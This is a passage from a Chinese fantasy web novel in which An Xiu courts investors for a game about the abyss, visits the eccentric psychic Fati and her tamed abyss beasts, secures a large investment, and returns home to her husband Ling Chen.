“露西?”见林月终于接话了,安秀重复一遍,笑着摸了摸胸前的项链,“我记起来了,是一个挺新的品牌。当时我一眼就相中这条项链,还感慨怎么设计得那么好。”
“设计师花费了很多心血。”
“难怪我会为它着迷。我为这场宴会挑了很久,跟我设计的宴会主题很契合。”
林月难得地被勾起了兴趣,问道:“这个宴会主题,是你设计的?”
“一点不成熟的尝试而已。毕竟是和他度过的第一个生日,我也想为他留下不一样的回忆呀。”安秀的语气真诚且宠溺,完全是新婚夫妇的甜蜜感。
“他看上去很开心。”
安秀认为这是出于礼节的场面话。
怎么会真的有为主角庆生的世家生日宴呢?大家只不过换了个交换信息和筹码的理由而已。
对奢靡事物司空见惯的凌宸,不会因为这个动心的。
“很高兴我们有审美上的一致,”安秀颔首,“审美契合的人,往往更有默契。”
“有什么是林家可以代劳的吗?”林月安静地发问,这个问题就像飘落在水面的绿叶一样,为她们的对话掀起浅浅的涟漪。
“最近,我在找事业上的合作伙伴。我们计划开发一款虚拟游戏,正在邀请人投资。”
“是什么样的游戏?”
“深渊主题的异能者游戏,让普通人也能有成为异能者的机会。”
林月的目光在一瞬间变得犀利,然后又收敛了回去。
这句话的信息量极大,以继承人的身份,她几乎瞬间联想到了整个帝国对该领
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域的风向把控。看来,最近有关风向的传闻是对的。
这是一个新的领域,极具利益,也极具风险。稍有不慎,就会被皇室全面打压。
踏足这种领域,不是林墨财团的风格。
“恐怕,我们要先观望一阵。”林墨如实说出看法,“林家尚且不感兴趣。”
林墨的态度很明确,安秀找不到继续纠缠的理由,按下心中淡淡的失落。
“如果可以,加个私人的联系方式吧。要是以后有机会,我们再一起合作。”
林墨看了看她脖子上的项链,亮出了通讯录道:“好。”
简短的对话就这么结束了。林墨的身影很快消失在人群中,安秀这才发现她连侍从都没带一个。
真是像影子一样神秘的人,难怪她几乎从没听说过林墨财团的消息。凌宸能搞到有关露西的资料,也是令人惊叹的情报本领了。
“索菲娜,凌宸去哪了?”安秀随口向索菲娜一问。
这回凌宸没有迅速来到身边,让她有点不适应。
“凌长官不在这片场地,刚刚好像去忙了。”
安秀想起他的提案。经过了这段时间的混乱后,想必凌宸堆积了很多问题要处理,就连生日到了也没法完整地休息一天。
“我们再随便逛逛吧。”
她决定再待一会,等凌宸一起回去。
剩下的投资人选寥寥无几,并不是所有人都有随便投几百亿的实力,但她又看见了一个熟悉的身影。
黛露也在她邀请的行列里。
黛露见她身边空闲,跟着一众小姐笑着走了过来,各种高级的花香果香扑面而来,但一点也不刺鼻,也没有像普通的香水那样混在一起。
安秀自身浅淡的味道被覆盖了,恍惚间以为自己置身于克诺洛斯茶会的花园。
“安秀,好久不见呀。”上次见面还是在画廊,黛露仿佛忘记了她们之间发生过的事,自如地和她打招呼。
“这就是红......”一个年级尚小的女孩惊呼,被黛露的眼神一警告,怯生生道,“我是说,安秀夫人,您的眼眸很漂亮。”
这群小姐齐刷刷行了个礼,然后被黛露打发离开,像一群叽叽喳喳的小鸟飞走一样。
安秀感叹道:“你在年轻女孩中间真受欢迎。”
“喔,原谅我的失礼,安秀,她们都对你很有感兴趣。”黛露悄声又小心地说,“毕竟你很特别——请相信我没有恶意,我向深渊之神发誓。”
安秀不打算继续这个话题,意有所指地问:“艾达她们还好吗?”
听到这个问题,黛露的脸都白了,一脸心有余悸。
“你知道吗,米诺死了!据说是在什么商会爆炸死的。艾达知道这件事之后被吓得不轻......”黛露凑过来,小声对她说,“最近她一直在找我聊天呢。”
“深渊之神,希望米诺在深渊安息,”安秀露出惋惜的神情,“我还是第一次知道这回事,难怪最近一直没听到她的消息了。”
“世事无常呀。对了,我听说你最近想做什么事业。我是说,如果朋友之间能帮助一下的话,也是很好的。”
黛露很快转换了话题,似乎完全不在意米诺之死。安秀甚至觉得她的心情反而因为这件事变得更好了。
41.机会突现
“你的消息可真灵通。”安秀不动声色地瞄了黛露一眼,心里评估告诉她这件事的可行性。
黛露人缘甚广,这是好事,也是坏事。如果自己的事情被她拿出去乱说......
“我知道的,”黛露浅笑道,“我不是很懂事业的东西。但是我认识很多人,说不定可以帮到你。”
“可是,如果你帮助了我,我却不知道如何帮助你,会感到很愧疚的。”
安秀委婉地让黛露告诉自己应该交付什么筹码。
“希望日后在茶会多担待,”黛露优雅地行了个礼,“茶会的事情,我感到很抱歉,希望以后还能做朋友。”
安秀能感觉到这是一次真心的道歉,她很意外,轻声道:“你要是不提,我都快忘了。”
其实她没有忘。
无论黛露是真心想和她交朋友,还是为了日后能在茶会有一席之地而攀附她,结果是,她们的手紧紧交叠在了一起。
安秀将手从黛露雪白的手中抽出来,示意她靠近一点。
“你认识比较亲近深渊粒子的人吗?”
“你是说异能吗?”黛露微微张嘴,“我倒是认识几个。不过,你想搞什么项目?”
“做个跟异能有关的虚拟游戏。”
“茶会里有很多对异能感兴趣的人,你也知道的,茶会比较亲近这些——但也没有那么亲近,”黛露有些欲言又止,“如果找到一个完全支持异能的人,有点难......”
“如果你认识几个有能力且愿意投资百亿的人,那再好不过。成事了我会给你丰厚的佣金。”
黛露一听这数目,眼前一亮,脑袋飞速转动了起来。
“我认识一个人,”不出片刻,黛露便从通讯录调出一个人名,“她有些‘小秘密’,不过她跟我说不要告诉别人,所以我不会告诉别人。”
说罢,黛露在嘴上比了个拉上拉链的手势。
这个动作很俏皮,安秀的嘴角勾起,心情也莫名愉悦了起来。
“好。那我可以去找她吗?”
“当然可以,你找到她的官方联系方式就好了。”
“在哪?”
黛露一直划到星域网最下方,出现了一个非常小众的星域网网页,页面的设计非常老旧,让人想到几十年前的风格,看上去很不靠谱的样子。
不过安秀没有把这个想法表现出来,她信任黛露的人脉。
黛露说:“你去找她聊聊就知道了。她是我认识的最喜欢异能的人,也很神秘、很有钱。”
安秀又问:“她也是茶会成员吗?”
“是的,不过她不怎么出席这种活动,只是挂个名而已。”
“你是怎么认识她的?”
这回黛露不说话了,安秀也没有继续问。或许这就是黛露的手段,她营生的秘密。
伴随着晚宴最后一声钟声敲响,凌宸的生日宴结束了。安秀披上保暖的坎肩,目送最后一名客人离开。智能体开始运作,不到明天,整片区域便会被收拾得干干净净。
宴会大厅的灯光熄灭,暗蓝色的天空绘就夜晚的色彩。而唯一的光源,只剩外面的月光。
直到最后,安秀都没等到凌宸回来。
而接下来的日子,凌宸就跟消失了一样,一点联系都没有。
除了有些许不适应之外,安秀并没有多大感觉。凌宸总是能在最快时间内回复她的消息,而当他突然消失后,她仿佛又回到了在皇室的生活。
从前,她没觉得这种单调的生活有什么不好。
好在这种日子没持续多久,她收到了黛露介绍的“神秘的人”的回复,说最近几天都可以见面。
于是,她和索菲娜来到了帝魄星的一处偏僻的庄园。
这里杂草丛生,路上有雨后的泥泞和水洼,野蛮生长的不知名小花遍布各处。安秀无意间踩到好几簇,而它们很快顽强地挺起身子,恢复原状。
安秀问一旁引路的人型机器人:“我们还有多久到?”
KT7自称社会性别为男性,本应仿造人类的皮肤完全脱落,只剩一层金属外壳。他光溜溜的脑袋反光锃亮,因此总是有一群趋光的鸟和虫环绕在头顶。
“走过前面就是了。”
能听出来,KT7的声音是按照真人标准制作的,但带着经久失修的能量流的杂音,就像人类的灵魂被困在了这副躯壳中。
KT7感受到她的目光,将脸转了过来。
脸上空荡荡的。
看到这个脸,结合刚刚那个可怕的想法,安秀吓得心中一跳,加快了脚步。
“或许你该找你的主人修一修声带。”
“主人不介意我这样。”
安秀和索菲娜对视一眼,继续埋头赶路。好在她们穿的都是方便的裤装,靴子也是徒步靴,一路走来并没有觉得很累。
她们穿过这片荒蛮之地,来到了一个新潮的古堡前——这是安秀唯一能想到的形容。
明明是和帝魄星教堂同一时代的古老样式,用于筑墙的矿石都发灰掉渣了,墙壁却刷上了一层宽大的亮粉色漆,活像年过一百的老人穿上了一条浮夸的围巾。
KT7输入了面见请求,古堡的窗子里飞出几只彩色的鸟,对她们检查了一番。
不过数秒,窗子里伸出一只手,鸟飞了回去,排排站在手上,还有一只因为不够位置被挤了下去,急得唧唧叫。
那手把鸟抓了回去,一个翘短发的女生随之探出头来,咧嘴笑着说:“欢迎!”
安秀向她挥了挥手,也回了一个笑。
她见惯了上流社会或华丽或优雅的形象,从未见过这样的女生。无论是随意的旧衣服还是乱糟糟的短发,她都足够给人深刻的印象。
古堡的大门打开了,里头不出意外地散发着执拗的前卫感。
亮眼的彩色隔断和各种小藏品无一不在彰显主人的个性。除了被涂了彩装的智能体系统外,这里的家具并不注重功能性,例如沙发是由坚硬的几何体拼接而成,安秀甚至无法想象该以什么姿势坐下去。
“主人马上就下来。”KT7突然发话,打断了她的思考。
一只猫从她们眼前窜过去,然后是两只、三只,还有一个三只脚的猫。安秀确信它们都不是正常的猫。
因为一只猫从古堡墙壁的左边飞到了右边。
索菲娜见状,惊呼了一声:“小姐,这也太神奇了。”
虽然这座和迷宫一样的大厅不是给人设计的,但猫可以自
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由地穿来穿去。那些看似多余的架子是给猫设计的。
这次的目标投资方终于下来了。她换了一身崭新的套装,是安秀在大街上看到的年轻学生穿的那种风格。
安秀伸手道:“你好,我是安秀,请多包容我此次登门拜访。”
她还不知道这个人的名字,因为这个人说在见面前不会透露自己的信息。
女生的手热情地向前探了探,又缩了回去。她挠了挠脸,看了下KT7。
KT7说:“伸手加问候语是帝国常见的问候方式,可以用同样的方法回馈。”
安秀展露温和的笑意,手还停留在半空中,女生握了握,小声道:“我是法蒂。”
然后法蒂低着头,又上前握了握索菲娜的手,不顾后者惊讶的神情:“我是法蒂。”
“你会介意她和我一起行动吗?”安秀问道。
“啊?不、不会啊,”法蒂愣住了一下,又想起什么,“啊,她不会是你的......按照社交的规矩......”
“不,没事,我很高兴你这么做。”
安秀朝法蒂笑了笑,把索菲娜牵到和自己同一水平线的位置。
“我们上去说吧。”法蒂表现得有些局促,自从她们见面开始,她挠了不下五次头发。
这反倒显得从容的安秀才是主人。她说:“好啊。”
法蒂很快和KT7走到了前面引路,一般这种时候,应该是侍从在前面引路,主人留下来陪宾客的。
安秀暗暗摈弃了这些繁琐的规矩,饶有趣味地徒步跟她们上了旋转楼梯。这里的每个阶梯都由不规则的石头砌成,又窄又高不好落脚,还刷上了有些幼稚但用心的油彩。
安秀和索菲娜要很小心地注意不被绊倒,还要避开睡在石头台阶上的爬宠——例如几乎和石头融为一体的变色龙。
“嚯!小心、小心。”法蒂伸出手。
变色龙醒了,爬到了她的肩上,变成和她的衣服一样靓丽的色彩。
“真是可爱。”索菲娜感慨道,“我可以摸摸吗?”
“当然、当然。”法蒂把变色龙捧了下来,放到索菲娜的手上,变色龙又变成了和索菲娜衣服一样的紫色。
KT7停下脚步,站到二层入口一旁,是个空旷的大平层,装饰温馨古朴,有很多说不上名字的小动物聚集在这。
安秀的颈环热了起来,感觉到浓浓的深渊粒子的气息。索菲娜是普通人,脸色有些发白,好在一旁的KT7拿出了早就准备好的药粒让她吃下。
“所以,”法蒂转过身来立定,两手一拍,问安秀,“你是要投资,对吗?”
“是的,”一聊到工作,安秀的态度严肃了起来,“我给你发了有关这个项目的咨询,想问下你的想法,以及希望和谈一下合作细则。”
无论法蒂看上去再怎么像个孩子,她也是有可能一下投资几百亿的投资人,安秀从未有过轻视的想法。
“嗯、嗯。对,我们要谈合作。不过,你们不想先在我这逛逛吗?”
安秀礼貌又温和地提议道:“我十分喜欢你的城堡,也很喜欢你的动物。但是先办完正事再逛一逛,或许会更符合习惯一点,当然,你要是更喜欢后者,我们可以陪你。”
42.法蒂世界
如果法蒂真的能拿出那么多资金,别说陪着逛一逛,待上整整几天也没问题。
“啊对,是这个流程,”法蒂的脸肉眼可见地红了起来,收起笑容,立正站好,“那我们开始吧。”
“噗,”索菲娜被水呛住,笑了出声,“哈哈哈哈,你好像个小大人。”
变色龙爬到法蒂的身上,舌头弹到了她的脸上,和她变成一样的红色。安秀忍不住问:“你应该成年了吧?”
黛露总不可能给她介绍一个不具备完整法律权限的人当投资人,可是法蒂的表现看上去太可疑了。
“我成年了,只是不擅长处理这些事情。”法蒂拾回淡定,轻咳两声,“我就直说了,你们的方案我看了,题材不错,但感觉还缺点意思。如果让我投资的话,要按我的想法改改。”
“当然,”安秀回应道,“我们很乐意听听你的看法。”
“那先跟我来吧,让你们看看真正的深渊世界是什么样的,”法蒂伸出手,在空中比划了几个手势,是帝国很常见的召唤虚拟屏或者智能体的手势,“我是看在你们对深渊粒子感兴趣的份上才分享的。如果随便往外说,可是会有不好的结果哦。”
“会有什么结果?”安秀看着像幕帘一样展开的堡垒,喃喃地问。
“伤害了我,会被那群深渊兽报复的,”法蒂的短发在呼啸的风中摆动,她眯起眼睛,浅金色的睫毛挡住细小的沙粒,“之前欲图不轨的求资人,都被它们杀死了。”
听到这句话,索菲娜的眼睛都直了:“好厉害,你是它们的主人。”
“我是它们的朋友。”
堡垒展开完毕,上空有一层几乎透明的屏障,隔绝了外界的一切监控。光是看到这个屏障,安秀就断定法蒂一定有投资的资本。
在皇室几乎掌控一切的帝国,普通人是不可能拥有这种屏障的保护的。
她到底是什么人?
呼啸的风的源头出现了,一道细小的黑色裂缝凭空出现,安秀脱口而出道:“是时空裂隙!”
这是超高阶异能者才会有的能力。她曾在有关异能的历史书中看过时空裂隙的介绍,除了天然形成的裂隙外,只有极少数人类才能操控,对异能、天赋、地点和时间都有很高的要求,而这种人已经消失了数百年。
消失数百年,从定义上来说,便是彻底灭绝了。
要不是安秀亲眼看着裂隙出现,她也不敢相信这种超能力一样的东西真的存在。
“你的知识很渊博,”法蒂问道,“你也是异能者?”
“我是。如果等级高到一定程度的话,我也能召唤出这种东西吗?”
“再看看,被监控到就麻烦了。”法蒂移开了目光,走向那道缝隙,身影消失在黑暗里。
黛露的人脉比宇宙最坚硬的矿石还硬。
这是安秀拉着索菲娜进入缝隙前的最后一个想法。
她们落脚在一片浮起的石块上,脚下和头上都是万丈虚空,和数不清的漂浮的碎石、岛屿。
安秀紧紧拉着索菲娜发凉出汗的手,发觉她有些颤抖。
“我想我们需要送她回去。”安秀咽了下口水,紧紧揽住索菲娜。
这种宏大而远离客观现实的场景太容易让人失去理智,普通人无法接受是再正常不过的,她有些后悔让索菲娜跟过来了。
“她不会有事的。”到了熟悉的世界,回归异能者身份的法蒂似乎完全变了个人,不再脸红,也不再拘谨。
法蒂单手覆盖在索菲娜的头上,低声说了一段安秀听不懂的古语。
这段古语激起了安秀内心的共鸣,她总觉得很耳熟、很亲切。
法蒂结束了安抚,索菲娜的状态奇迹般地好了起来,面色恢复了红润,好奇地向四周张望,一边问:“这是哪?”
“这是帝魄星主教堂的地盘,名为‘深域’,是可以跟深渊神对话的通道。我们的地方在那,”蒂法的指的方向不是下方的花园岛屿,也不是看似平静的岩石岛屿,而是一处电闪雷鸣,传来恐怖嚎叫声的山谷。
安秀牙齿发颤,这是经过了上千年人类进化出的来自基因的恐惧。她知道那里有非常危险的东西。
法蒂和被安抚过的索菲娜一点事都没有,这倒显得安秀不像正常人了。
“那个,”安秀抑制住发颤的声音问,“能拜托你也安抚一下我吗?”
“哦?”飘在半空的法蒂惊讶道,“你的等级应该不低吧,居然会害怕?”
“我从来没有见过深渊兽这种东西,也没来过这种地方。”
她甚至无法拿皇宫的成长经历当理由,因为只要是帝国公民,都不可能接触到这些生物。
“我的意思是,这跟经历无关,你天生就不应该怕,”法蒂一根手指点在她的额头,感受了一下,冷哼一声,“原来是因为这个东西。它不该存在的。”
安秀被法蒂弹了一下颈环,一阵耳鸣袭来,身体大面积浮现金色纹路,恐惧消失了。
她从未感受过如此的自由与充实。
“颈环没了?!”她又惊又喜地问。
“给你戴上这东西的人会注意到的,我们快去快回。”说罢,法蒂拎着她们两个飞向了那座山谷。
安秀落到了一个有些柔软但有韧性的地方,低头一看,是一头深渊兽开始腐烂的皮肉。她移开了脚,小跑跟上前面的两人。
原来只有这片山谷的上方才有电闪雷鸣,底下的构造和普通的山谷没什么不同。
这个角度,刚好可以远远看见漂浮在虚空的金色教堂的影子。
一头庞大的深渊兽张着利嘴朝她们嘶吼,法蒂打了个响指,那头深渊兽浑浊的眼球转动了一圈,慢慢低下了头。
“你不是想做有关深渊的游戏吗,叫《渊和》,对不对?”法蒂一边抚摸那头深渊兽的鳞片,一边问。
“是的,背景是帝国第一任帝皇领导人们开拓被深渊腐蚀的星球。那时人类才发现深渊不过百年,人类付出了无数牺牲才把深渊兽消灭殆尽。”
“帝国的第一任皇帝,被深渊腐蚀的星球?”法蒂轻笑一声,任由手下的深渊兽飞向天空,“原来外面的世界已经变成了这样啊。”
安秀不明所以。
索菲娜问道:“难道不是皇帝做的吗?”
“他确实是发现深渊的第一个人,不过,能
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让异能者兽化的人不是他吧?”
索菲娜问道:“那是谁?”
安秀也想知道这个问题的答案,沉默地看着法蒂。
“都看着我干嘛?我也不知道啊。”法蒂挠了挠头,尴尬地一笑。
神秘的氛围就这么被破坏了。
上空飞过一群迁徙的深渊鸟,它们羽毛的反光像刀子,喙细长而锋利。
法蒂继续说:“我也想看到这种游戏问世,而且能看到你们是认真的。不过你们没见过真正的深渊场景,难怪会缺点味道。”
她展开双臂,发动异能,即将遁入虚空的鸟群俯冲而下,迎面朝安秀和索菲娜铺过去。
安秀本能地防御,一层金色屏障和锋利的鸟喙相割,像割玻璃片那样留下划痕。也有很多深渊鸟撞在了屏障上,化成金色的深渊粒子,被安秀吸收进身体。
“世界并不局限在星球表面,每个星球都有一片属于深渊的空间。所以,《渊和》的世界不必考虑人类的物理、科技或思维。”法蒂右手挥拳,高举至天空,变色龙爬到了她的手上。
鸟群仿佛听到了感召,四散开来。
“感受涌进身体的粒子吧,你的异能太干涸了,就当送给同类的礼物。”法蒂向安秀咧嘴一笑,继续往山谷深处走。
“法蒂,你简直是魔法师!”经过这么一阵,索菲娜已经完全被法蒂迷住了,“我知道了,所以深渊就是魔法世界!”
“当然不是,它是正常的世界,你们的世界才是不正常的。”法蒂哼了一声,小声说,“是你们背叛了我们。”
“那你为什么还要帮我们呢?”
“因为我喜欢深渊。”
她们身边突然窜过一只热烈如火的红羽鸟类,展翅飞入雷云。
“看,那边就是我的秘密基地了,”法蒂兴奋地指给她们看,“这些彩色的植物别碰,我好不容易从别的星球移植过来的。要是碰了的话,它们会死。”
安秀问:“那我们呢?”
“也会死。”
安秀语塞,反倒是索菲娜越来越兴致高昂:“我喜欢,我太喜欢这了,法蒂,你简直使我的深渊之神!”
索菲娜在皇宫为数不多的爱好,就是跟着安秀在图书馆学习的时候看有关深渊的绘本。她看不懂那些晦涩高深的理论,反倒是那些落灰的、内容充满了好奇与想象的深渊绘本最吸引她。
今天能亲眼看到比绘本上还出彩的画面,哪怕她无法感知到深渊粒子,也死而无憾了。
法蒂感受到她语气中真诚的热爱,说:“我就知道没看错人!哎,你们知道吗,黛露跟我说的你们的时候,我还以为你们是骗子,总是有很多骗子觊觎我的钱。要不是那些人胆子小,被我吓吓就跑了,恐怕会把这里毁掉。”
“我突然有了很多灵感,”一直沉默体会这些的安秀发自内心地感谢她,“谢谢你,我知道该怎么做出《渊和》的世界了。你还有什么定制需求吗?”
“有的!我想要《渊和》里出现我的朋友们。那只叫莱拉,它会喷彩色的火;刚才有鳞片的那只叫默特,它性格暴躁又很胆小,随便走个过场就行;还有那只......”
43.边缘命运
......
“有关世界观的资料已经记录好了,我会说是完全来自制作者的想象,”安秀认真地记录下此次游玩的感想,摸了摸已经在正常运作的颈环,“你们......”
一抬头,法蒂和索菲娜在哈哈大笑。
“然后,然后莱拉一抖,身上的羽毛全掉下来了!一团团一簇簇地堆在地上,秃得像只烧鹅......”
“真是,太好笑了,哈哈哈哈......”
索菲娜笑得直不起身,差点被脚下的瓶瓶罐罐绊倒,安秀扶住说:“小心。”
“小姐你听到了吗,那群深渊兽真的太有意思了,”索菲娜脱力地扶在架子上,有气无力道,“简直跟小动物一样,我好久没那么开心过了。”
“确实很有意思。”不过安秀并不是因为事情本身好笑,而是喜欢看索菲娜像小时候笑起来那样开心。
“法蒂,那群深渊兽之所以那么听你的话,是因为你很厉害吧?我看古籍上说,深渊兽都是无差别攻击人类的,它们跟被深渊粒子异化的普通动物有本质区别。”
索菲娜也反应过来道:“对啊,为什么那群深渊兽那么听话?”
“大概是异能的原因吧,”法蒂也不像之前那么遮掩,轻声回答道,“我的家族有特殊的异能血统。”
安秀血红色的瞳孔在光照下闪烁一瞬光华,与立在小径间的法蒂对视了一秒。
“你也有特殊的异能?”安秀笑道,“那我们真是太有缘了。”
“是呀是呀,你和小姐真是太有缘了!”
“对了!我还有很多东西没介绍呢,”法蒂一拍脑袋,朝秘密基地的深处走去,那里一片绿意盎然,“你们可不能轻易走了,今天陪我陪个够!”
褪去了社交面具的法蒂像是好不容易找到了知己,拍着安秀和索菲娜的肩膀,把她们楼到更多长了绿色藤蔓的架子之间。
“这个植物叫蓝波多尔,它的汁液可以用来治头痛,和这边的红果子结合,就可以合成一种比人工合金还硬的物质,不过它们的数量很少,培育的方法几乎失传了。”
“你一定是在骗我们吧?”索菲娜为难地笑了笑,“两种植物混在一起,怎么可能合成金属呢?”
“信不信由你们,反正我都传到星域网网站上去了,眼见为实。”
安秀不可置信地看着铺满了架子的植物,它们生长肆意高不见顶,屏蔽了上空深渊兽的嚎叫与雷鸣。
“我不敢相信这是真的,”她自言自语道,“哪怕是皇室的深渊课程也没说过这些。”
“这些是食兽精的幼年体,它们要发育个几百年才能到成年体,加上这里的养分不够,估计得花上上千年了;还有长得跟云一样的鄂尔多斯,别看它软绵绵很好戳的样子,手指会融化的,连默特的鳞片都奈何不了;至于这株长得跟深渊兽一模一样的植物——你们看后面——它没有泄殖腔,所以是拟态的植物。当然,如果有三条命的话可以直接‘试试’,被植物杀死,和被深渊兽杀死的死法是不同的......”
法蒂兴致勃勃地为她们介绍真正的深渊世界,一串接一串陌生又专业的词汇占据了安秀的大脑,她不得不启用虚拟体辅助记录这些收获。
她原先以为深渊世界只需用战甲对抗深渊兽即可,所以主打老派虚拟游戏的战斗玩法,千万甚至亿人同战场。
现在看来,深渊世界远比她想得更加生动,充满了与教材的描述格格不入的生命力。
法蒂又念叨了一会,觉得时间差不多了,便提议先回去,继续商量《渊和》的合作事宜。
索菲娜还一脸意犹未尽,安秀则处在深度思考中。
她们飞跃了这座山谷,回到法蒂的古堡,空降在第二楼的大平层。
变色龙弹出舌头,吸了吸索菲娜还未褪去兴奋的脸。索菲娜和一屋子的小动物玩了起来。
“我很喜欢你的朋友。要不是她,我也不会那么快把秘密告诉你们。”法蒂灿烂一笑,吃起了桌上早已被KT7准备好的小吃。
安秀也拿起一块尝了尝,是从未见过的味道,竟然比凌宸做的放了月尘花香料的食物还能勾起食欲。
“谢谢你这么信任我们,这对创业初期的我们来说太重要了,”安秀勾起唇角,调出早已拟好的签约文件,“现在,是时候聊一聊了吧?”
她们同时看了一眼正在和KT7跨频聊天的索菲娜。
法蒂做了个手势,虚拟空间升起,外界便不会传来任何干扰,声音也不会传到外面。
“咳咳,其实我对这种东西没什么经验,得请你多多包容,”法蒂的脸红了,变回原先拘谨的样子,“我只想让深渊世界换一种方式被人们看到,钱不是问题。”
“我明白了,”安秀迟疑了一下,还是问,“不过在这之前,还是冒昧问一下,关于你的家族......”
这是她认识的第一个真正意义上的异能者,未被“人类”世界同化的人,甚至还附带了一整个家族。
比起对深渊世界本身的兴趣,她对法蒂的家族兴趣更大,因为这意味着这个世界上可能存在除皇室以外的庞大成体系的异能者家族。
“唉,我看你的项圈,是被皇室控制的异能者吧。”法蒂并未介意她的问题,转而将怜悯的目光投到她身上。
“你怎么知道?”
“这种项圈,曾经也在我的脖子上,”法蒂轻笑一声,“我花费了巨大的代价才摆脱这个东西。”
“那你的家族现在在哪?她们也被控制了吗?”
“她们隐居在帝国的角落,我只是其中一员,”法蒂道,“或许比起你们,我们算幸运的。”
“请,务必告诉我你知道的一切。”安秀正襟危坐,诚挚而坚定地望向法蒂。
法蒂讲述了起来。
“我们的家族叫贝恩家族,有操控深渊兽的天赋,曾经是最庞大的异能者家族之一。然而,数百年前的一场洗礼,让众多异能家族泯灭,有的永远归隐,有的皈依,还有的......”法蒂停下,看了安秀一眼。
安秀了然于心。
“皇室为了保证更多人的利益,限制了异能发展,异能者被不断边缘化,以至于人们几乎彻底忘记了我们的存在。曾经,我的祖先也反对皇室的压制,戴上了和你一样的
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项圈,如今我几乎放弃一切,才争取到脱下的机会。”
“可是,你不是轻而易举就把我的项圈解开了吗?”
法蒂苦笑一声:“单凭个人的力量是无法与皇室抗衡的。更何况,当初有那么多异能者,也没能阻挡这样的命运呀。”
安秀沉默。如果真的能抗衡,她们早就不会坐在这里了。
法蒂继续道:“我很庆幸有人会愿意了解深渊世界。异能者被边缘化了那么多年,我希望在有生之年看到普通人也能接纳我们,哪怕只有一点点。”
这段话深刻地打动了安秀的心。她不可抑制地想到自己这个人种被排斥的命运,如果有一天世人能接受就好了。
如果有一天,她们能不用再面对凝视、审视的目光,就好了。
“假若我能成为这个发声者,会感到很荣幸,”安秀说出刚才游玩的感想,“深渊世界是自成一派的体系,世界运行的底层逻辑是以深渊粒子为基础的,它无处不在,就算是人类世界也无法完全摆脱深渊粒子。所以,《渊和》中可以加入开荒异能者生活的版块,和人类世界呼应,让玩家产生熟悉感,潜移默化地影响她们。”
法蒂嘿嘿笑了两声:“你还真懂,难道是专门学这个的?”
“那倒没有,但我也为了自由付出了很多努力。”安秀感动于法蒂的真诚,也跟她说道,“小时候总觉得多学点就能拯救我的家族了,所以不知不觉学会了很多东西。”
“加油。”
她们心照不宣地略过了皇室。往大了说,在这种话题下提起皇室是十分不妥的。
“那我们来谈一下合同吧。”
“好,”法蒂也直起身子来,一脸凝重地看着安秀点开录音,“还要录音?”
“之前的求资人没这么做过吗?”
“她们还没做到这步就跑了。”
“不用紧张,只是帝国法律的流程而已,当作正常聊天就好了,”安秀在法蒂眼前按下录音键,说道:“除了您的深渊兽朋友和深渊世界观设定之外,您还有什么投资要求?可以具体说明一下。”
“唔,我希望多一点异能者,让玩家第一人称代入异能者,体会她们的生活。”法蒂掰着手指思考。
“您对该时间段的深渊科技和文化背景的需求高吗?”安秀顿了一下,又说,“这段时间的记录太过久远,如果要努力还原的话,需要组建多支专家组才行,需要更多资金。”
“能还原尽量还原,尤其是开荒时期的大事件,就说是以真实事件改编的架空版,其它可以编造。”
“我明白了。”
“对了,一定要把异能者的日常做好,”法蒂强调道,“我要看到真实的日常,可以提供一些资料,至于战斗那些,我没什么想法。”
“我明白了,所以资方要求的是真实细腻的异能者生活场景。”
至于战斗这块,《渊和》也有不低的标准。宏大的战斗场面是弥泰资本提出的长期合作刚需,它旗下的所有产品无一不是这种类型。
录音结束,新的合同拟定好,法蒂在KT7的辅助下迅速审核完,大手一挥,投资了5000亿。
44.他舍不得
5000亿,这是安秀先前想都没想过的大手笔。她努力控制激动的心情,和法蒂握了握手。
这下一次性把投资拉完了,甚至还有不少余量,足够她们的项目活过几个季度。
变色龙爬到门口的信箱上,二人和法蒂道别,KT7在一旁等候为她们引路。不知不觉,天空已变成落日时的橙粉色,属于古堡的探险庄严落幕。
临走前,安秀悄悄问法蒂能不能教自己一些关于异能的技巧。
“异能没什么技巧,除非你要天天到最危险的地方杀深渊兽,”法蒂认真提醒道,“不过我建议你不要随便爆发异能,那样一定会被皇室发现的。”
“明白了,那我和索菲娜以后能来你这取材吗?保证只有我们两个。”
“随时欢迎。只要是有关于游戏制作的事情,我会尽力帮忙。”
安秀释然一笑:“真的不知道该怎么感谢你才好了。”
法蒂道:“为了广大异能者。”
“为了广大异能者。”
法蒂笑了,身后一群猫围上,喵喵叫着。彩色的鸟飞在她们周围,送了她们一路。
往前走了好一段距离,安秀回头看了看,惊讶地发现古堡消失了。
“请您放心,这是主人设置的视觉保护。”KT7光滑的面部转过来,解释道。
“你的感知还挺灵敏。”安秀瞄了KT7一眼。
KT7点了点头:“感谢您的认可,帝国的智能科技已经很成熟了。”
虽然KT7的金属外壳已经剥落,但关节等重要部位被好好护理过,能看出主人的重视。
走到这片地域的边界,KT7停下了。
她们坐上早已在等候的舰艇,遥远地看到KT7在招手。
安秀和索菲娜离开后,法蒂身边的猫群的猫化成一堆深渊粒子,只剩下一只三脚猫跳入了的怀里。
法蒂对着她们消失的方向发呆。
“你说,她们可以吗?”
三脚猫蹭了蹭法蒂,跳了下去,消失在古堡中。
安秀落地凌家已经是两天后的深夜,宅邸一楼门前亮着微弱的光,而二楼漆黑一片。
她很确定在临走前关掉了一切能源,且并没有在舰艇上提前告知智能体自己会回来。所以这代表凌宸已经回家了,还体贴地为她准备好了回家的灯光,现在多半在休息。
为了不惊动凌宸,安秀特意没有从大门进去,而是走了手动开启的小门。
门“滴”地一声打开,她顺着微弱的灯光往厨房走,想找点吃的。经过大厅的时候,她发现桌上有一碗热腾腾的汤面,上面还飘着葱花、冒着热气,带着月尘花的香味。
安秀的食欲几乎瞬间被调动起来,胃饿得有些难受,开始咕咕叫。
舰艇上的东西都是速食品,不是很合胃口,她宁愿回家吃点好的。所以这一天下来几乎没吃东西。
可惜了,这碗面大概率是凌宸给他自己做的宵夜。
安秀遗憾地摇了摇头,准备到厨房里下令智能体用新鲜食材做点吃的。
“你回来了?”
穿着睡袍的凌宸出现在楼梯口,手上还拿着通讯器。他挂断通讯,朝餐桌走过来。
“对,我忙完回来了。”
“我也是。”
话音未落,安秀的肚子又咕咕叫了几声。
凌宸从容的目光有整整几秒停在她的腹部,道:“外面的东西应该不至于有毒吧。出去几天,饿着肚子回来了?”
“我有自己的打算,”安秀不喜欢这种轻微责备的语气,梗着脖子说,“反正投资任务超额完成了,饿一饿又没什么,我才不像你们那么矜贵。”
他好以整暇地问:“你不想吃这碗面吗?”
“我可以自己做。”安秀咽了下口水,十分艰难地控制自己不往那碗诱人的面上看。
“这碗的调料比例不对,不合我胃口,你来解决吧。我刚好要再下一碗。”
